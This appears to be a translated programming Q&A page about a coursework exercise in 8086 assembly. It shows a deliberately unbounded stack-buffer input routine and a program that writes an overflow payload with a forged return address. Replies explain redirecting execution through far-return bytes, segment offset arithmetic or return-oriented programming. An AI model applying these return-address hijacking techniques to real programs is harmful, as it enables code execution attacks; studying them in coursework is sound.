2015-06-05 63 views
-1

我得到了一個編寫程序的分配。一個從用戶處獲得輸入,使用一個函數在堆棧中分配一個字符串,並一次寫入一個字符,直到獲得「Enter」。另一個使用第一個缺陷並通過堆棧溢出的程序會更改函數的返回地址,並將其指向惡意代碼(我寫入堆棧)。(程序集8086)我如何從一個函數返回到另一個段?

我的問題是該函數不會返回到我放入堆棧的地址(在StackSegment中),而只是轉到CodeSegment中的地址。 這是獲取輸入功能:(從堆棧中printStr FUNC打印)

getStr PROC 
push bp 
mov bp, sp 
add bp, 2 

push ax 
push dx 
push di 
push ds 

sub sp, 10 

mov di, sp 
mov ah, 01 
strToStack: 
    int 21h 
    cmp al, 0dh 
    je endLoop 
    mov byte ptr ss:[di], al 
    inc di 
jmp strToStack 
endLoop: 
mov byte ptr ss:[di], '$' 

lea dx, new_line 
mov ah, 09 
int 21h 

push ss 
pop ds 
push sp 
call printStr 

add sp, 10 

pop ds 
pop di 
pop dx 
pop ax 
pop bp 

ret 
endp 

這是惡意代碼寫入文本文件,我使用的第一程序的程序:

.model small 
.stack 100 
.code 
main proc 
    push @data 
    pop ds 

    push ds 
    push cs 
    pop ds 

    lea dx, implant 
    mov ah, 09 
    int 21h 

    pop ds 

    exit: 
    mov ah, 4ch 
    int 21h 
endp 
implant: 
blank db '@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@','@' 
real_address dd 0066h, 3182h 
mov ah, 2 
    mov dl, '@' 
    loopy: 
     int 21h 
    jmp loopy 
finish db 0dh,'$' 
end main 
+2

如果允許修改程序,則可以使用遠程返回,然後返回地址也會包含該段。 – Jester

+0

要從遠程呼叫返回,您可以使用很遠的回報。 – m0skit0

回答

0

如果您不允許修改代碼,則可以在代碼段中的任意位置搜索0CBh或0CAh字節。這些是很遠的返回指令,但它們實際上並未被代碼用於此目的。你只需要找到一個具有這些值的字節。更改函數的近返回地址(堆棧中的單個16位值),使其返回到該字節,然後在堆棧中放入惡意代碼的偏移量和段。

請注意,0CAh字節是遠迴歸的RET imm16形式,導致它從堆棧中彈出參數。如果你使用這個字節,你可能想重新調整堆棧。

如果找不到0CBh/0CAh字節,那麼如果您知道堆棧段距代碼段不太遠,那麼您有另一個選項。您可以使用堆棧中相對於代碼段的代碼偏移量作爲接近返回地址。因此,如果堆棧段在3182h,代碼段在3040h(隨機選擇一個數字),並且您的代碼在堆棧段中偏移64h,則代碼位於代碼段中的偏移量(3182h - 3040h) * 16 + 64h = 1484h處。在這種情況下,您將用1484h而不是3182h:0066h替換返回地址。

如果你沒有這些選項可供你使用,那麼我想不出任何其他明顯的解決方案。其他標準堆棧粉碎技術可能不適用。也許return oriented programming,但目標可執行文件中可能沒有標準庫,並且可能沒有很多借用卡盤的代碼。 (雖然後者意味着堆棧段應遠離代碼段。)

相關問題